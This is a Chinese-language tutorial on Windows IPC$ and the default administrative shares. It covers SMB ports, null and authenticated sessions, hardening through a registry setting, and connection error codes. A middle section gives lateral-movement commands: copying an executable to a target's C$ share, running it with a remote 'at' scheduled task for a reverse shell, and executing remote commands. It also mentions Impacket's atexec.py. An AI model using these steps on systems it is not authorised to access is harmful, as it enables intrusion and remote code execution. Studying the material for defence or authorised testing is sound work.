IPC$共享和其他共享(C$、D$、Admin$)
目錄
常見共享命令
IPC$
IPC$的利用條件
1:開啟了139、445端口
2:目標主機開啟了IPC$共享
IPC空連接?
空連接可以做什么?(毫無作用)
IPC$非空連接
IPC$非空連接可以做什么?
dir命令(查看文件和目錄)
tasklist命令(查看進程)
at命令(計劃命令,可反彈shell)
schtasks(計劃任務)
Impacket中的atexec.py
關閉IPC$共享及其他共享
IPC$連接失敗的原因及常見錯誤號
連接失敗原因
常見錯誤號
常見共享命令
IPC$
IPC$?(Internet Process Connection) 是共享“命名管道”的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。IPC$是NT2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連接。NT2000在提供了 IPC$ 共享功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(C$、D$、E$……)和系統目錄共享(Admin$)。所有的這些初衷都是為了方便管理員的管理。但好的初衷并不一定有好的收效,一些別有用心者會利用IPC$,訪問共享資源,導出用戶列表,并使用一些字典工具,進行密碼探測。
為了配合IPC共享工作,Windows操作系統(不包括Windows 98系列)在安裝完成后,自動設置共享的目錄為:C盤、D盤、E盤、ADMIN目錄(C:\Windows)等,即為ADMIN$、C$、D$、E$等,但要注意,這些共享是隱藏的,只有管理員能夠對他們進行遠程操作。
輸入?net?share?可以查看開啟的共享。
IPC$的利用條件
1:開啟了139、445端口
首先我們來了解一些基礎知識:
- SMB: (Server Message Block) Windows協議族,用于文件打印共享的服務;
- NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基于TCP/IP協議的NETBIOS網絡互聯。
- 在WindowsNT中SMB基于NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT實現,還可以直接通過445端口實現
對于win2000客戶端(發起端)來說:
- 如果在允許NBT的情況下連接服務器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應,那么就發送RST包給139端口斷開連接,用455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都沒有響應,則會話失敗;
- 如果在禁止NBT的情況下連接服務器時,那么客戶端只會嘗試訪問445端口,如果445端口無響應,那么會話失敗。
對于win2000服務器端來說:
- 如果允許NBT, 那么UDP端口137, 138, TCP 端口 139, 445將開放(LISTENING);
- 如果禁止NBT,那么只有445端口開放。
我們建立的IPC$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽139或445端口,IPC$會話是無法建立的。
2:目標主機開啟了IPC$共享
默認共享是為了方便管理員進行遠程管理而默認開啟的,包括所有的邏輯盤(C$、D$等)和系統目錄 winnt 或 windows(admin$)以及IPC$。這些共享默認是開啟的。可以使用net share命令查看這些共享是否開啟。
IPC空連接?
在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。在Windows NT中,是使用 NTLM挑戰響應機制認證。傳送門——>??NTLM認證方式(工作組環境中)
空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼)。那么建立空會話到底可以做什么呢?
利用IPC$,黑客甚至可以與目標主機建立一個空的連接,而無需用戶名與密碼(當然,對方機器必須開了IPC$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。建立了一個空的連接后,黑客可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果黑客能夠以某一個具有一定權限的用戶身份登陸的話,那么就會得到相應的權限。
建立IPC$空連接
空連接可以做什么?(毫無作用)
在Windows2003以后,空連接什么權限都沒有,也就是說并沒有太大實質的用處。有些主機的 Administrator 管理員的密碼為空,那么我們可以嘗試使用下面的命令進行連接,但是大多數情況下服務器都阻止了使用空密碼進行連接。
以前建立空會話可以獲取一些有用的信息,但是現在空會話的權限很低,訪問都被拒了
IPC$非空連接
IPC$非空連接可以做什么?
- 使用管理員組內用戶(administrator或其他管理員組內用戶均可)建立IPC$連接,可以執行以下所有命令。
- 使用普通用戶建立IPC$連接,僅能執行查看時間命令: net time \\192.168.10.131 ,其他命令均執行不了。
dir命令(查看文件和目錄)
也可以直接在文件管理用命令:\\192.168.10.131\c$ 查看對應的文件及目錄,也可以增刪改查
tasklist命令(查看進程)
tasklist /S 192.168.10.131 /U administrator -P 密碼at命令(計劃命令,可反彈shell)
- 查看目標系統時間:net time \\192.168.10.131
- 將本目錄下的指定文件復制到目標系統中:copy? vps.exe \\192.168.10.131\c$
- 使用at創建計劃任務:at? \\192.168.10.131 17:00:00 C:\vps.exe?
- 清除at記錄:at? \\192.168.10.131? 做業ID? /delete
- 使用at命令執行,將執行結果寫入本地文本文件,再使用type命令查看該文件的內容:at \\192.168.10.131 17:00:00 cmd.exe? /c "ipconfig??> C:/1.txt "
- 查看生成的1.txt文件:type? \\192.168.10.131\C$\1.txt
schtasks(計劃任務)
Windows Vista、Windows Server 2008及之后版本的操作系統已經棄用at命令,而轉為用schtasks命令。schtasks命令比at命令更靈活。在使用schtasks命令時,會在系統中留下日志文件:C:\Windows\Tasks\SchedLgU.txt
我這里用administrator管理員用戶建立IPC$,執行schtasks命令時一直提示拒絕訪問。?
Impacket中的atexec.py
Impacket中的atexec.py腳本,就是利用定時任務獲取權限,該腳本的利用需要開啟ipc$共享。這個腳本僅工作Windows>=Vista的系統上。這個樣例能夠通過任務計劃服務(Task Scheduler)來在目標主機上實現命令執行,并返回命令執行后的輸出結果 。
?
關閉IPC$共享及其他共享
既然ipc$有一定的危險性,而且對于我們大多數人來說是沒啥用的,所以我們執行以下命令關閉共享
1、使用命令關閉:
2、修改注冊表關閉
限制IPC$缺省共享:
- HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa?
- Name:restrictanonymous?
- Type:REG_DWORD?
- Value:0x0(缺省)? ? ? ? ? 0x1 匿名用戶無法列舉本機用戶列表? ? ? ? ? ? ?0x2 匿名用戶無法連接本機IPC$共享? ? ? ? 說明:不建議使用2,否則可能會造成你的一些服務無法啟動,如SQL Server。
IPC$連接失敗的原因及常見錯誤號
連接失敗原因
- 用戶名或密碼錯誤
- 目標主機沒有開啟IPC$共享
- 不能成功連接目標主機的139、445端口
- 命令輸入錯誤
常見錯誤號
- 錯誤號5:拒絕訪問
- 錯誤號51:Windows無法找到網絡路徑,及網絡中存在問題
- 錯誤號53:找不到網絡路徑,包括IP地址錯誤、目標未開機、目標的lanmanserver服務未啟動,目標防火墻過濾了端口
- 錯誤號67:找不到網絡名,包括 lanmanworkstation 服務未啟動,IPC$已被刪除
- 錯誤號1219:提供的憑據與已存在的憑據集沖突。例如已經和目標建立了IPC$連接,需要在刪除后重新連接
- 錯誤號1326:未知的用戶名或錯誤的密碼
- 錯誤號1792:試圖登錄,但是網絡登錄服務沒有啟動,包括目標NetLogon服務未啟動(連接域控制器時會出現此情況)
- 錯誤號2242:此用戶的密碼已經過期。
參考文章:135、137、138、139和445端口
? ? ? ? ? ? ? ? ??Windows中的共享文件和文件服務器
總結
以上是生活随笔為你收集整理的IPC$共享和其他共享(C$、D$、Admin$)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Windows Server中企业证书服
- 下一篇: Searchsploit